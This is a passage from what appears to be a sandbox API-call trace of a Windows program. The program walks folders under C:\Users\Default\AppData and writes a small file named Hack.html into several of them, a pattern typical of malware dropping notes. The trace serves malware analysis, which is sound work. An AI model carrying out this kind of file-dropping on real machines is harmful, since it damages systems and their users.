(dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.173] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow", lpFilePart=0x0) returned 0x21 [0091.173] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\", lpFilePart=0x0) returned 0x22 [0091.173] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a628 [0091.174] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.174] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0091.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0091.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0091.174] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2b [0091.174] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\", lpFilePart=0x0) returned 0x2c [0091.174] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0091.175] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.175] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.175] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.175] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0091.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0091.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0091.175] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", lpFilePart=0x0) returned 0x2b [0091.176] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\", lpFilePart=0x0) returned 0x2c [0091.176] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0091.176] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.176] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.176] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.176] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0091.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0091.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0091.176] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3c [0091.177] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpFilePart=0x0) returned 0x3d [0091.177] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.177] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.178] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0091.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0091.178] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3c [0091.178] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\", lpFilePart=0x0) returned 0x3d [0091.178] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.178] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.179] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.179] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.179] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.179] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0091.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0091.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.179] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x44 [0091.179] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpFilePart=0x0) returned 0x45 [0091.179] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.180] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.181] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.181] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.181] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.181] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.181] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x44 [0091.181] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpFilePart=0x0) returned 0x45 [0091.182] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.182] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.182] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.182] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.182] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.182] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.183] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Hack.html", lpFilePart=0x0) returned 0x4e [0091.183] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Hack.html" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.185] GetFileType (hFile=0x174) returned 0x1 [0091.185] GetFileType (hFile=0x174) returned 0x1 [0091.185] WriteFile (in: hFile=0x174, lpBuffer=0x279403c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x279403c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.186] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x45 [0091.186] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpFilePart=0x0) returned 0x46 [0091.187] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.187] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.187] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.187] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.188] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.188] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x45 [0091.188] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpFilePart=0x0) returned 0x46 [0091.188] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a628 [0091.189] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.189] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.190] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.190] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.190] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.190] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Hack.html", lpFilePart=0x0) returned 0x4f [0091.190] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Hack.html" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.192] GetFileType (hFile=0x174) returned 0x1 [0091.192] GetFileType (hFile=0x174) returned 0x1 [0091.192] WriteFile (in: hFile=0x174, lpBuffer=0x2798a8c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2798a8c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.194] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Hack.html", lpFilePart=0x0) returned 0x46 [0091.194] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Hack.html" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.194] GetFileType (hFile=0x174) returned 0x1 [0091.194] GetFileType (hFile=0x174) returned 0x1 [0091.194] WriteFile (in: hFile=0x174, lpBuffer=0x279b2ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x279b2ac*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.195] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x35 [0091.195] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\Hack.html" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.196] GetFileType (hFile=0x174) returned 0x1 [0091.196] GetFileType (hFile=0x174) returned 0x1 [0091.196] WriteFile (in: hFile=0x174, lpBuffer=0x279da84*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x279da84*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0091.197] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Hack.html", lpFilePart=0x0) returned 0x2b [0091.197] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Hack.html" (normalized: "c:\\users\\default\\appdata\\locallow\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.198] GetFileType (hFile=0x174) returned 0x1 [0091.198] GetFileType (hFile=0x174) returned 0x1 [0091.198] WriteFile (in: hFile=0x174, lpBuffer=0x27a0234*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27a0234*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0091.199] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0091.199] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x21 [0091.199] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a628 [0091.200] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.200] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.200] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.200] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.200] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.200] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0091.200] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x21 [0091.200] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a628 [0091.200] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.201] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.201] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.201] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.201] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.201] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2b [0091.201] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\", lpFilePart=0x0) returned 0x2c [0091.201] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0091.202] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.202] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.202] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.202] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.202] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2b [0091.202] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\", lpFilePart=0x0) returned 0x2c [0091.202] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0091.203] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.203] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0091.203] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0091.203] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.203] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x52 [0091.203] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpFilePart=0x0) returned 0x53 [0091.203] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.203] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.204] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.204] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.204] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x52 [0091.204] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpFilePart=0x0) returned 0x53 [0091.204] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a628 [0091.204] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0091.204] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0091.204] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.204] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Hack.html", lpFilePart=0x0) returned 0x5c [0091.204] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Hack.html" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.205] GetFileType (hFile=0x174) returned 0x1 [0091.205] GetFileType (hFile=0x174) returned 0x1 [0091.205] WriteFile (in: hFile=0x174, lpBuffer=0x27a732c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27a732c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0091.206] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, 